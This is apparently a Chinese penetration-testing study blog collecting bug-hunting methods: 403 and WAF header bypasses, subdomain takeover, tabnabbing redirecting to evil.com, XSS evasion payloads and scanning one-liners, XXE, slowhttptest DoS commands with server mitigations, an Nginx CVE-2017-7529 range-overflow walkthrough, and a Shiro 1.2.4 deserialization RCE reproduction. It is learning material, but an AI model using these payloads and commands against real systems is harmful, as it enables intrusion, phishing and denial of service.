如果您看到文件末尾没有任何斜杠，则在那里执行这些操作

1
2
3
site.com/secret.txt => 403
site.com/secret.txt/ => 200
site.com/%2f/secret.txt/ => 200
协议基础

嗯，听起来很连线，但请查看示例以更好地理解

1
2
https://site.com/secret => 403
http://site.com/secret => 200

有效载荷

1
2
3
4
5
6
/
/*
/%2f/
/./
./.
/*/
Header

https://observationsinsecurity.com/2020/08/09/bypassing-403-to-get-access-to-an-admin-console-endpoints/

1
X-Forwarded-For: 127.0.0.1
工具

这是我在 Twitter 上找到的一个工具。

概念证明

如果有人分享任何技巧，请务必寻找一些参考资料或概念证明，这样您就可以确认自己根本没有浪费时间。我的 YouTube 频道上有一些关于 403 和其他使用这些方法的不当访问控制错误的 poc 视频。你可以检查它们

YouTube: Mehedi Hasan Remon

子域名接管（Subdomain Takeover）

基础

域名系统

image

别名记录

image

  • 域名到另一个域名的别名

  • 在下面的示例中，xyz.company.com 是源域，xyz.cloudservice.com 是规范域名。

image

  • 子域名将自身映射到特定的 IP、Azure、AWS、Heroku、Github、Fastly、Shopify 等第三方服务来提供内容。这些子域使用另一个域的 CNAME 记录 [例如。 xyz.company.com CNAME xyz.cloudservice.com]

  • 现在，由于某种原因，该公司决定停止使用该服务，并为了节省一些费用，该公司取消了第 3 方云服务提供商的订阅。

  • 但是，该公司忘记更新或干脆删除 DNS 区域文件中的 CNAME 记录

  • 由于 CNAME 记录不会从 company.com DNS 区域中删除，因此注册 xyz.cloudservice.com 的任何人都可以完全控制 xyz.company.com，直到 DNS 记录出现。

如何找到子域名接管？

子域名枚举

使用以下工具枚举子域

检查接管情况

以下工具旨在同时扫描子域列表并识别可能被劫持的子域。

您还可以通过查看常见错误页面来验证子域是否容易受到攻击。

劫持子域名

使用以下 github 存储库检查引擎是否存在漏洞以及劫持特定引擎的步骤。

如果您在上述存储库中找不到您的引擎，Google就是您的朋友！

案例：CNAME 可供购买

image

  • 在某些情况下，子域指向的 CNAME 是可以购买的。
  • 在这种情况下，攻击者可以直接购买该域名并托管他/她的内容。

参考

报告

简单的子域接管方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Step:

1:Grab all subdomains of target. i.e, subfinder -d flaws.cloud | tee -a domains.txt

2:Run this one liner

3:cat domains.txt | while read domain;do dig  $domain;done | tee -a digs.txt

4::Grab all the CNAME Entries i.e, cat digs.txt | grep CNAME

5:Find a domain that is pointed to third party domain like sub.exampple.com CNAME x.aws.com

6:Check wheather the main subdomain is down

7:Go to host provider where the domain is pointed to and register that domain if you registered congrats you have takeover the subdomain.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Step-1:- First of all collect all subdomain of the target using assetfinder,subfinder,chaos(needs API key).

Step-2:- Next sort out duplicate URLs using -- cat unresolved | sort -u | tee -a resolved

Step-3:- Pass it to subzy,subjack or other subdomain-takeover tool -- using subzy tool  --  subzy -targets resolved , or use subjack

Step-4:- We can also use nuclei templates but we need to first use httpx -- cat resolved | httpx | tee -a hosts

Step-5:- Next use nuclei-templates -- cat hosts | nuclei -t nuclei-templates/vulnerabilites -o nuclei.txt -v 

Tools Used:-

https://github.com/projectdiscovery/nuclei
https://github.com/projectdiscovery/subfinder
https://github.com/projectdiscovery/httpx
https://github.com/projectdiscovery/nuclei-templates
https://github.com/projectdiscovery/chaos-client
https://github.com/haccer/subjack
https://github.com/LukaSikic/subzy

反向标签劫持（Tabnabbing）

尽管此漏洞被许多错误赏金计划评为低严重性错误，但仍然值得寻找它，因为它很容易找到。

有关该漏洞的更多信息：

当进行 tabnabbing 时，攻击者会搜索插入网站并受其控制的链接。例如，此类链接可能包含在论坛帖子中。一旦他找到这种功能，它就会检查链接的rel属性不包含 valuenoopener并且目标属性包含 value _blank。如果是这种情况，则该网站很容易受到 tabnabbing 的攻击。

如何利用：

1
2
3
4
5
1. Attacker posts a link to a website under his control that contains the following JS code: window.opener.location = "http://evil.com"
2. He tricks the victim into visiting the link, which is opened in the browser in a new tab.
3. At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website.
4. If the victim opens the background tab again and doesn't look at the address bar, it may happen that he thinks he is logged out, because a login page appears, for example.
5. The victim tries to log on again and the attacker receives the credentials

如何搜索它：

正如已经提到的，您必须搜索以下链接格式：

1
2
3
<a href="..." target="_blank" rel="" />  
or
<a href="..." target="_blank" />

使用 Header 绕过 WAF（WAF Bypass）

使用标头绕过WAF（密码重置中毒）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Scheme
Origin: 
nullOrigin: [siteDomain].attacker.com
X-Frame-Options: Allow
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
Proxy-Host: 127.0.0.1
Request-Uri: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Server: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Forward-For: 127.0.0.1
Base-Url: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Url: 127.0.0.1
Redirect: 127.0.0.1
Real-Ip: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Custom-IP-Authorization:127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Original-Url:
X-Forwarded-Server:
X-Host:
X-Forwarded-Host:
X-Rewrite-Url:

弱密码策略（Weak Password Policy）

弱密码策略会增加攻击者对用户帐户使用暴力和字典攻击成功的可能性。能够确定用户密码的攻击者可以接管用户的帐户，并可能访问应用程序中的敏感数据。

有两种方法可以检查这一点

第一种方式

  • 检查您是否可以使用与电子邮件地址相同的密码

  • 检查您是否可以使用与电子邮件地址相同的用户名

  • 在重置密码、创建帐户、从帐户设置更改密码时尝试上述内容

第二种方式

  • 检查您是否可以使用一些弱密码，例如 123456、111111、abcabc、qwerty123

  • 在重置密码、创建帐户、从帐户设置更改密码时尝试上述内容

  • 应用程序在创建帐户时通常对密码有限制，请确保在重置密码时检查这两种情况

参考

XSS

反射型 XSS

市面上有很多方法，但这里有一些最常见的方法，但不限于此。

可以在这里找到一个用于反射 xss 方法的很棒的思维导图

提示：使用其他方法时，请将方法 2 放在终端或 vps 的后台

使用 Burp

  1. 下载 burp 的 Reflection 和 Sentinal 插件。

  2. 步行并抓取目标站点。

  3. 检查 burp 中反射的参数选项卡

  4. 发送该信号或手动检查。

使用 Waybackurls 和其他类似网站

  1. 使用Gau或Wayback url被动收集目标的 url。

  2. 使用 或 gf 模式过滤参数grep "="并将其存储在新文件中。

  3. 现在在该新文件上运行Gxss或bxss。

  4. 手动检查反射参数或使用dalfox等工具

使用Google Dorks

  1. 使用 Google Dorksite:target.com过滤结果

  2. site:target.com inurl:".php?"现在通过添加更多 dorks等来搜索具有参数的链接，您可以在此链接 site:target.com filetype:php或 google 上找到一些 dorks 。

  3. 检查 param 值是否反映在 html 源代码中

  4. 在那里尝试 Xss 负载或将其传递给某些工具

查找源代码中的隐藏变量

  1. 检查 Javascript 文件或 html 源文件中是否存在隐藏或未使用的变量

  2. 您可以手动勾选右键查看页面源并搜索var=, ="", =''。

  3. 现在将其附加到网页网址。例如https://example.com?hiddenvariablename=xss。

其他方法

  1. 使用方法 1 或 2 收集 url

  2. 使用https://github.com/Ekultek/WhatWaf或其他类似工具枚举防火墙。

  3. 通过搜索或在此 Github 存储库中查找 WAF 绕过负载

  4. 还可以使用Arjun查找隐藏参数。

Tips
  • 检查错误页面（404,403，..），有时它们包含反射值
  • 通过尝试获取 .htaccess 文件触发 403
  • 尝试每个反映的参数
Videos

存储的 Xss 方法

存储的Xss大多是手动发现的

  1. 使用上述方法枚举防火墙并选择有效负载进行相应测试。
  2. 在网站上注册用户名、姓名、地址、电子邮件等字段时，尝试使用选定的 WAF 绕过负载。
  3. 在个人资料图片的文件名和图像的源文件中尝试有效负载。
  4. 在目标网站上任意位置的评论部分中尝试。
  5. 尝试在页面中反映并且其他用户可以看到的每个输入字段。
  6. 尝试使用您的姓名 + XSS 负载进行注册，这可能会导致存储的 XSS。尖端
  • 对于每个输入字段
    • 尝试获取<a href=#>test</a>一个实体
    • 尝试获取一个混淆的实体
    • 如果它抓住了什么，就深入
Videos
Writeup

Blind Xss

与反射型 Xss 或存储型 Xss 类似，但您不会得到任何反射，但会在服务器上得到响应。

  1. 与上面给出的类似方法，除了尝试放置有效负载，它可以在执行时在服务器上提供回调。
  2. 您可以使用https://xsshunter.com/或使用 burpcollaborator 或 ngrok。
  3. 在联系表单或类似功能上尝试一下。
Tips
  • 从 xsshunter 有效负载部分复制每个有效负载并将其粘贴到您看到的每个字段中
  • XSS Hunter 包含用于 CSP 绕过的有效负载
  • 生成有效负载的一些变体（例如将 < 替换为& lt;）
哪里可以找到Blind XSS……
1
2
3
4
5
6
7
8
9
10
1- Review forms
2- Contact Us pages
3- Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
4- Address fields of e-commerce sites
5- First or Last Name field while doing Credit Card Payments
6- Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
7- Log Viewers
8- Feedback Page
9- Chat Applications
10- Any app that requires user moderation

DOM XSS

Tips
Videos

XSS过滤规避技巧

Tips
XSS防火墙绕过技术
  • 检查防火墙是否仅阻止小写字母

Ex:- <scRipT>alert(1)</scRipT>

  • 尝试使用新行(\r\n) 来破坏防火墙正则表达式

Ex:- <script>%0alert(1)</script>

  • 尝试双重编码

Ex:- %2522

  • 测试递归过滤器，如果防火墙删除红色文本，我们将获得清晰的有效负载

Ex:- <src<script>ipt>alert(1);</scr</script>ipt>

  • 注入不带空格的锚标记

Ex:- <a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;">

  • 尝试使用 Bullet 绕过空格

Ex:- <svg•onload=alert(1)>

  • 尝试更改请求方式
1
2
Ex:- GET /?q=xss  POST/
                  q=xss
  • 尝试 CRLF 注入
1
2
3
Ex:- GET /%0A%ODValue=%20Virus
     POST 
     Value= Virus

参考

自动化 XSS

确保您的计算机上安装了 Go

要在您的计算机上安装 Go：
1
2
3
4
5
1) sudo apt install -y golang
2) export GOROOT=/usr/lib/go
3) export GOPATH=$HOME/go
4) export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
5) source .bashrc
如何使用 Dalfox 狩猎盲目 XSS？
  • 使用 Tomnomnom 的 Waybackurls 来获取特定目标的 URL。
  • 使用 GF 模式查找可能的 XSS 易受攻击的参数。
  • 使用 Dalfox 来查找 XSS。
  • Step ：
1
waybackurls testphp.vulnweb.com | gf xss | sed 's/=.*/=/' | sort -u | tee Possible_xss.txt && cat Possible_xss.txt | dalfox -b blindxss.xss.ht pipe > output.txt
如何追踪反射型 XSS？
  • 使用 Tomnomnom 的 Waybackurls 来获取特定目标的 URL。
  • 使用 qsreplace 接受标准输入上的 URL，将所有查询字符串值替换为用户提供的值，每个主机和路径仅输出查询字符串参数的每个组合一次。
  • Step ：
1
waybackurls testphp.vulnweb.com| grep '=' | qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable;done
查找不过滤特殊字符的参数 - One Liner
1
2
echo "test.url" | waybackurls | grep "=" | tee waybackurls.txt
cat waybackruls | egrep -iv ".(jpg|jpeg|js|css|gif|tif|tiff|png|woff|woff2|ico|pdf|svg|txt)" | qsreplace '"><()'| tee combinedfuzz.json && cat combinedfuzz.json | while read host do ; do curl --silent --path-as-is --insecure "$host" | grep -qs "\"><()" && echo -e "$host \033[91m Vullnerable \e[0m \n" || echo -e "$host  \033[92m Not Vulnerable \e[0m \n"; done | tee XSS.txt
工具获取

Find Script here : QuickXSS

XXE

这些是我检查和寻找 XML 外部实体的方法。

方法

  1. 将内容类型从“application/json”/“application/x-www-form-urlencoded”转换为“applcation/xml”。

  2. 文件上传允许 docx/xlcs/pdf/zip ，解压缩包并将您的邪恶 xml 代码添加到 xml 文件中。

  3. 如果图片上传允许svg，则可以在svgs中注入xml。

  4. 如果网络应用程序提供 RSS 源，请将您的恶意代码添加到 RSS 中。

  5. 对 /soap api 进行模糊测试，某些应用程序仍在运行soap api

  6. 如果目标 Web 应用程序允许 SSO 集成，您可以在 SAML 请求/响应中注入您的 milicious xml 代码

写在后面

  • 21年至22年其实我没有接触太多手动测试的内容，大多都是开源漏扫去跑，也没谁能系统性的教一下，我深感渗透测试这样的技术不能不会，你可以60分，80分，不能0分
  • 此外，在甲方公司的同学都已经开始挖SRC有额外收入了，一方面羡慕死了，一方面更加重了技术焦虑，在第一家乙方公司真的很忙，但所幸我接触了Docker、Vulhub、各种开源工具，甚至自己实现ATTCK编排，我知道该用些什么，并且收集资源的能力有了不小提升
  • 到了22年中，入职同学在的甲方公司后，体系规模、安全投入相比上家公司都不是一个量级的，也更有时间去做些自己的事情，所以我那时候选择补补渗透基础，也恰恰找到了这个How To Hunt文集，比国内一票长篇大论还在说宏观大话的不实际文章好太多了，我开始用谷歌翻译一点点看。
  • 恰好那个上线了自己的Blog，而技术类文章实践是最好记住的方式，但我又没看一遍就能直接挖到SRC的能力，那我就再自己纠一遍机翻的错误或者拗口的地方，转到 Blog 上，等于再记一遍，争取多记住点，记久一点。
  • 后来自22年8月起，到24年2月初，我都是在一点一点的补这篇文章，只不过发布时间一直没有更新，同时，这段时间有两个比较大的变化：我在不停地接收外部白帽子发来的各种漏洞，学习了不少找问题的点和方式，然后在少有的空闲时间里又看看这篇文章，碰到相似的地方，感觉收获颇丰；在23年秋我又进行了一次变动，来到一家中企，他们刚开始进行安全建设，需要有懂技术又懂管理的人，我需要不停地拓宽自己的能力，刚入职第一项任务就是找公司应用的漏洞，进行渗透测试，这是我第一次一个人全范围人工渗透，所幸虽然我能力没有大佬们强，但自己的技术与知识也没辜负与背叛自己，找到了不少问题，大体满意。
  • 回过头来看这篇文章，尤其是这最后的更新，在看在译时，我发现我很多内容都已经了解，接触过了，心中又是不一样的感慨。
  • 我认为我自己搭建起这个博客，当一个“错题本”一般地，把自己接触涉及过的技术知识记录下来，是无比正确且值得的事情。一方面这样的“摸鱼”别人看不出来，另一方面在push内容的时候，你多少会再看一遍你要记录的文章，温故知新（此外也有投简历的作用XD）。
  • 这篇文章更新到一半的时候，我就能找到一些安全问题了，只不过大多是公司内部的，不能展示细节，或者大多都变成了“转载”的内容（因为有人写了，写的还不错，就搬过来了），后来自己找的一些问题也被自己记录下来，放在头脑风暴了。
  • 最后，无比感谢各位公开技术，让我能够学习的人们。

image

Slow HTTP Dos

HTTP慢速拒绝服务攻击（Slow HTTP Dos）

本文摘自春告鳥及libaisec

HTTP慢速拒绝服务攻击简介

HTTP慢速攻击是利用HTTP合法机制，以极低的速度往服务器发送HTTP请求，尽量长时间保持连接，不释放，若是达到了Web Server对于并发连接数的上限，同时恶意占用的连接没有被释放，那么服务器端将无法接受新的请求，导致拒绝服务。

HTTP慢速攻击原理（摘抄自倾旋师傅的博客:

既然是一个HTTP协议的缓慢攻击，这就要从HTTP协议说起了。

首先HTTP协议的报文都是一行一行的，类似于：

1
2
3
4
5
6
7
8
GET / HTTP/1.1\r\n
Host : payloads.online\r\n
Connection: keep-alive\r\n
Keep-Alive: 900\r\n
Content-Length: 100000000\r\n
Content_Type: application/x-www-form-urlencoded\r\n
Accept: *.*\r\n
\r\n

那么报文中的\r\n是什么？

\r\n代表一行报文的结束也被称为空行（CRLF），而\r\n\r\n代表整个报文的结束

从上面贴出的GET请求包可以看出，我们的客户端请求到服务器后，告知服务器这个连接需要保留。

通常我们知道HTTP协议采用“请求-应答”模式，当使用普通模式，即非KeepAlive模式时，每个请求/应答客户和服务器都要新建一个连接，完成之后立即断开连接（HTTP协议为无连接的协议）；当使用Keep-Alive模式（又称持久连接、连接重用）时，Keep-Alive功能使客户端到服 务器端的连接持续有效，当出现对服务器的后继请求时，Keep-Alive功能避免了建立或者重新建立连接。

那么当我们客户端发送一个报文，不以CRLF结尾，而是10s发送一行报文，我们的报文需要80s才能发送完毕，这80s内，服务器需要一直等待客户端的CRLF，然后才能解析这个报文。

如果客户端使用更多的程序发送这样的报文，那么服务器端会给客户端留出更多的资源来处理、等待这迟迟不传完的报文。假设服务器端的客户端最大连接数是100个，我们使用测试程序先连接上100次服务器端，并且报文中启用Keep-Alive，那么其他正常用户101、102就无法正常访问网站了。

简单来说，就是我们每次只发一行，每次发送之间的间隔时间很长，这迟迟未发送结束的HTTP包会占用服务端的资源，当达到服务端处理请求的上限时，这时候再用户对网站正常请求，服务端也处理不了了，导致了拒绝服务。

HTTP慢速攻击分类

HTTP慢速攻击分为三类：

  • Slow headers
  • Slow body
  • Slow read

1，Slow headers

第一类是最经典的HTTP Slow慢速攻击，由rsnake发明的，原理在上面已介绍。

2，Slow body

第二类也叫做Slow HTTP POST

原理为在POST提交方式中，允许在HTTP的头中声明content-length，即POST内容的长度。

提交了恶意头之后，将需要传输的body缓慢进行发送，跟Slow headers类似，导致服务器端长时间等待需要传输的POST数据，当请求的数量变多后，达到了消耗服务器资源的效果，导致服务器宕机。

3，Slow Read attack

第三类攻击方式采用调整TCP协议中滑动窗口大小，来对服务器单次发送的数据大小进行控制，使得服务器需要对一个相应包分为很多个包来发送，想要使这种攻击效果明显，请求的资源要尽量大，这里很容易理解，当请求的资源越大，返回包才越大，这样才能分成更多的包让服务器发送，导致拒绝服务的产生。

也就是说，客户端以极低的速度来读取返回包，来消耗服务器的连接和内存资源。

HTTP慢速攻击实战

一般使用slowhttptest工具（安装方式很多，不再赘述）

工具简介

SlowHTTPTest是一个可配置的应用层拒绝服务攻击测试工具，它可以工作在Linux，OSX和Cygwin环境以及Windows命令行接口，可以帮助安全测试人员检验服务器对慢速攻击的处理能力。

这个工具可以模拟低带宽耗费下的DoS攻击，比如慢速攻击，慢速HTTP POST，通过并发连接池进行的慢速读攻击（基于TCP持久时间）等。慢速攻击基于HTTP协议，通过精心的设计和构造，这种特殊的请求包会造成服务器延时，而当服务器负载能力消耗过大即会导致拒绝服务。

使用参数介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
测试模式:
-H                            slow header,slowloris默认采用此模式          
-B                            slow body
-R                            远程攻击又名Apache killer
-X                            slow read
​
报告选项：
-g                            生成具有套接字状态更改的统计信息（默认关闭）
-o file_prefix                将统计信息输出保存在file.html和file.csv中（需要-g）
-v level                      日志信息，详细级别0-4：致命，信息，错误，警告，调试
​
常规选项：
-c connections                连接目标连接数（50）
-i seconds                    后续数据之间的间隔（以秒为单位）（10）
-l seconds                    测试目标时间长度，以秒为单位（240）
-r rate                       每秒连接数（50）
-s                            如果需要，Content-Length标头的值（4096）
-t                            在请求中使用的动词，对于slow header和response，默认为GET；对于slow body，默认为POST
-u URL                        目标的绝对URL（http://localhost/）
-x                            在slowloris and Slow POST tests模式中，指定发送的最大数据长度
-f                            Content-Type标头的值（application/x-www-form-urlencoded）
-m                            接受(Accept)标头的值（text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5）
​
探测/代理选项：
-d host:port                  为所有连接指定代理
-e host:port                  为探测连接指定代理
-p seconds                    指定等待时间来确认DoS攻击已经成功
​
range attack特定选项：
-a                            标头中的起始位置
-b                            标头中的结束位置
​
slow read特定选项：
-k                            在连接中重复相同请求的次数。如果服务器支持永久连接，则用于成倍增加响应大小。
-n                            从recv缓冲区读取操作之间的时间间隔，以秒为单位（1）
-w                            slow read模式中指定tcp窗口范围下限
-y                            slow read模式中指定tcp窗口范围上限
-z                            在每次的read中，从buffer中读取数据量

对于三种类型的慢速攻击，分别给出payload：（摘抄的！）

Slow Header

1
slowhttptest -c 65500 -H -i 10 -r 200 -s 8192 -t SLOWHEADER -u http://vulurl.com

该攻击会像我们刚才讲的慢速传递HTTP报文，占用服务器资源让其等待我们最后的CRLF。

Slow Read

1
slowhttptest -c 65500 -X -r 1000 -w 10 -y 20 -t SLOWREAD -n 5 -z 32 -u http://vulurl.com

该攻击会在Web服务器响应内容传输回来的时候，我们客户端缓慢的读取响应报文，这样服务器端也会一直等待客户端来接收完毕。

Slow Post

1
slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u http://vulurl.com

该攻击会构造一个POST数据包，将数据缓慢传输，使服务器端一直等待接收报文。

找一个存在漏洞的网址进行检测：

使用Slow Post的payload：（漏洞网址已高码）

1
slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u https://xxxxxx

image

当显示为NO，则表示存在HTTP慢速攻击漏洞，可导致拒绝服务。

解决办法

针对不同的Server其对慢速http拒绝服务攻击防范方法也不同：

WebSphere

1、限制 HTTP 数据的大小

在WebSphere Application Server 中进行如下设置：

任何单个 HTTP 头的默认最大大小为 32768 字节。可以将它设置为不同的值。

HTTP 头的默认最大数量为 50。可以将它设置为不同的限制值。

另一种常见的 DOS 攻击是发送一个请求，这个请求会导致一个长期运行的 GET 请求。WebSphere Application Server Plug-in 中的 ServerIOTimeoutRetry 属性可限制任何请求的重试数量。这可以降低这种长期运行的请求的影响。

设置限制任何请求正文的最大大小。

2、设置keepalive参数

打开ibm http server安装目录，打开文件夹conf，打开文件httpd.conf,查找KeepAlive值，改ON为OFF,其默认为ON。

这个值说明是否保持客户与HTTP SERVER的连接，如果设置为ON，则请求数到达MaxKeepAliveRequests设定值时请求将排队，导致响应变慢。

详见参考链接

Weblogic

1、在配置管理界面中的协议->一般信息下设置 完成消息超时时间小于200

2、在配置管理界面中的协议->HTTP下设置 POST 超时、持续时间、最大 POST 大小为安全值范围。

详见参考链接

Nginx

1、通过调整$request_method，配置服务器接受http包的操作限制；

2、在保证业务不受影响的前提下，调整

1
2
3
4
5
client_max_body_size
client_body_buffer_size
client_header_buffer_size
large_client_header_buffersclient_body_timeout
client_header_timeout

的值，必要时可以适当的增加；

3、对于会话或者相同的ip地址，可以使用HttpLimitReqModule and HttpLimitZoneModule参数去限制请求量或者并发连接数；

4、根据CPU和负载的大小，来配置worker_processes 和 worker_connections的值，公式是：max_clients = worker_processes * worker_connections。

Apache

建议使用mod_reqtimeout和mod_qos两个模块相互配合来防护。

1、mod_reqtimeout用于控制每个连接上请求发送的速率。配置例如：

1
2
3
4
5
6
7
#请求头部分，设置超时时间初始为10秒，并在收到客户端发送的数据后，每接收到500字节数据就将超时时间延长1秒，但最长不超过40秒。可以防护slowloris型的慢速攻击。

RequestReadTimeout header=10-40,minrate=500

#请求正文部分，设置超时时间初始为10秒，并在收到客户端发送的数据后，每接收到500字节数据就将超时时间延长1秒，但最长不超过40秒。可以防护slow message body型的慢速攻击。

RequestReadTimeout body=10-40,minrate=500

需注意，对于HTTPS站点，需要把初始超时时间上调，比如调整到20秒。
示例：

1
2
3
4
LoadModule reqtimeout_module modules/mod_reqtimeout.so
<IfModule reqtimeout_module>
        RequestReadTimeout header=10-40,minrate=500 body=10-40,minrate=500
</IfModule>

2、mod_qos用于控制并发连接数。配置例如：

当服务器并发连接数超过600时，关闭keepalive
QS_SrvMaxConnClose 600

限制每个源IP最大并发连接数为50
QS_SrvMaxConnPerIP 50
这两个数值可以根据服务器的性能调整。

更多关于qos_module配置参考
示例：

1
2
3
4
5
LoadModule qos_module modules/mod_qos.so
<IfModule qos_module>
QS_SrvMaxConnClose 600
QS_SrvMaxConnPerIP 50
</IfModule>

IHS服务器

请您先安装最新补丁包，然后启用mod_reqtimeout模块，在配置文件中加入：
LoadModule reqtimeout_module modules/mod_reqtimeout.so

为mod_reqtimeout模块添加配置：

1
2
<IfModule mod_reqtimeout.c>
RequestReadTimeout header=10-40,MinRate=500 body=10-40,MinRate=500

对于HTTPS站点，建议header=20-40,MinRate=500。

参见

F5负载均衡

F5负载均衡设备有相应的防护模块，如无购买可参考附件中的详细配置过程。
关于F5的慢速攻击防护配置，请参考Page1,Page2

IIS服务器

IIS可配置相关网站的Web.config如下：

1、WebLimits设置：

1
2
3
4
5
6
7
8
9
<configuration>
    <system.applicationHost>
        <webLimits connectionTimeout="00:00:30"
        headerWaitTimeout="00:00:10"
        dynamicIdleThreshold="150"
        minBytesPerSecond="512"
    />
    </system.applicationHost>
</configuration>

参考以下链接

2、headerLimits设置：

1
2
3
4
5
6
7
8
9
10
11
12
13
<configuration>
 <system.webServer>
  <security>
   <requestFiltering>
    <requestLimits>
     <headerLimits>
     <add header="Content-type" sizeLimit="100" />
     </headerLimits>
    </requestLimits>
   </requestFiltering>
  </security>
 </system.webServer>
</configuration>

参考

参考链接：

CVE-2017-7529-Nginx

nginx 整数溢出小结 cve-2017-7529

本文转自gaogaogaopipi

起因

这两天在做nginx整数溢出时出了点小岔子，经过学习对这个问题有了深入的了解，特此记录。

漏洞补丁以及平安银河实验室已经把这事说的很清楚了，在此记录原文地址

简单的说就是这么一回事：
HTTP的Range允许客户端分批次请求资源的一部分，如果服务端资源较大，可以通过Range来并发下载；
正常情况下组件代码中计算了Range的长度，防止溢出，可以构造恶意长度来绕过，从而读取缓存的头部数据，造成泄露。

细节要留意的就是range的相关定义，示例如下
Range:bytes=0-1024 表示访问第0到第1024字节；
Range:bytes=500-600,601-999，-300 表示分三块访问，分别是500到600字节，601到600字节，最后的300字节；

在Response头中设置:
Accept-Ranges:bytes 表示接受部分资源的请求；
Content-Range: bytes START-END/SIZE 表示返回的资源位置；其中SIZE等于Content-Length;如：Content-Range: bytes 500-600/1000

经过

测试站点：www.（我肯定是不能明说）.com.cn

image

以站点的一张图片为例子，路径：/images/sq.jpg

image

上图可以看到正常情况下content-length的大小是8935bytes，也就是size的大小。
size大小就是我一开始搞混了的地方，清楚了size的大小那么根据平安银河实验室的文章就有如下过程：

image

上图可以看到正常的返回数据以及完整的ranges长度返回。

image

上图可以看到，选择返回后十个bytes得到的结果（8935-10=8925，所以是从8925开始返回。因为写定的end是总长减一，所以结尾的值是8934，所以此处statr=8925,end=8934），以及返回的range的位置。

image

上图是对上面的补充，可以看到在读取部分bytes时，完整的参数是从“多少”到“多少”，上面是从1到10

image

上图可以看到，在使用完整的输入模式，对-1开始读取的时候，触发了ngx_http_range_parse()
对statr的负值检查，所以报错，无法读取。
那么此时就如原文所说
因此，如果需要将start解析为负数，只能通过-end这类后缀型range参数实现

image

如上图，使用 -end 只设置一个大于8935的值，此时statr = 8935-9000 = -65，满足了负值。但按上文所说，statr是负值则会报错。
注意到此时并未报错，而是正常返回，原因是此处设置的range不是完整模式，虽然是负值，但是因为end的默认值是总长-1（8935-1=8934），那么此时这段要读取的range的范围是从 -65到 8934 其实际总长超过了 8935 所以nginx丢弃了range，所以正常返回。

重点

上面满足了传值为负值的条件，但是因为总长度检测的原因，导致丢弃range，那么如果绕过总长度检测？为什么这个漏洞要叫 整数溢出 漏洞呢？
这里注意到 ***start, end, size均为64位有符号整形，值的范围是-9223372036854775808 … 9223372036854775807 ，那么根据补丁中的代码 size += end - start

image

只要最终size的值是负值，即可溢出，从而绕过检测，所以叫 整数溢出
0x8000 0000 0000 0000既是64位有符号型的最小负值，所以只需要最终相加得到的size为0×8000000000000000即可。

注意 size += end -start;这等于如果存在多个range，那么就会有 size = size + (end - start)
也就是说在有多个range时，最终的size = size1 + size2 + … +sizeN
如上所说，只要size是负值即可溢出，那么就能得到第二个range的值，若第一个range是9500
那么0x8000000000000000-9500 既是第二个值

那么如下图：

image

成功！

结果

image

Shiro RememberMe 1.2.4

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

本文转自莫憨憨

影响版本：Apache Shiro <= 1.2.4

漏洞产生原因:

shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

漏洞环境搭建

1.拉取镜像

1
docker pull medicean/vulapps:s_shiro_1

2.启动环境

1
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

如需进入环境，命令为

1
docker exec -it name /bin/bash

3.web访问

http://127.0.0.1 能看到如下页面即可

image

或虚拟机外面用真实ip访问

image

至此漏洞环境搭建成功

漏洞复现

1.抓包测试

查看返回包里setcookie有rememberme的字样

image

2.继续测试

首先最简单的测试方法是用dnslog，看看是否有回显。
利用POC生成想要执行的命令对应的rememberMe

3.工具准备

image

生成payload的脚本使用的是python3,运行报错就安装一下模块

4.生成payload：

双引号中是想要执行的命令，如果这里没有公网VPS，就用dnslog来证明。攻击原理一样，不认可的杠精可直接怼

1
py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"

运行结果如下图：

image

然后便会在脚本所在目录下生成文件payload.cookie

5.回到浏览器抓包

用payload.cookie中的rememberMe内容加入Cookie中，或者直接放进参数中，提交看页面回显和dnslog页面是否有数据过去

6.到ceye平台查看日志记录

dnslog日志刷新后有记录了，说明payloda执行成功

image

反弹shell

当然了，有VPS的情况下，为何不反弹一下shell呢？

